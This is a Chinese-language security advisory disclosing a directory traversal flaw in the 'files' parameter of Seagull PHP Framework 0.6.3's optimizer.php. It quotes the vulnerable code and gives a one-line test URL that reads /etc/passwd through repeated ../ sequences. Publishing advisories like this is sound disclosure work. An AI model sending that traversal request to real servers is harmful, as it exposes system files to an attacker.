发布日期：2008-01-24
更新日期：2008-01-28

受影响系统：

Seagull PHP Framework 0.6.3

描述：

---

BUGTRAQ  ID: 27437

Seagull是一个PHP编译框架。

Seagull在处理用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞获取文件信息。

Seagull PHP Framework的www/optimizer.php文件中没有正确地验证对files参数的输入：

optimizer.php，61行：

        // get files and it's mod time
        if (!empty($_GET['files'])) {
            $filesString = $_GET['files'];
            $aFiles = explode(',', $_GET['files']);
            foreach ($aFiles as $fileName) {
                if (is_file($jsFile = dirname(__FILE__) . '/' . $fileName)) {
                    $this->aFiles[] = $jsFile;
                    $lastMod = max($lastMod, filemtime($jsFile));

如果远程攻击者提交了恶意请求的话，就可以执行目录遍历攻击，显示任意文件的内容。

<*来源：fuzion
  
  链接：http://secunia.com/advisories/28646/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://pentest.localhost/seagull-0.6.3/www/optimizer.php?files=../../../../../../../../etc/passwd

建议：

---

厂商补丁：

Seagull
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://seagullproject.org

浏览次数：2430
严重程度：0（网友投票）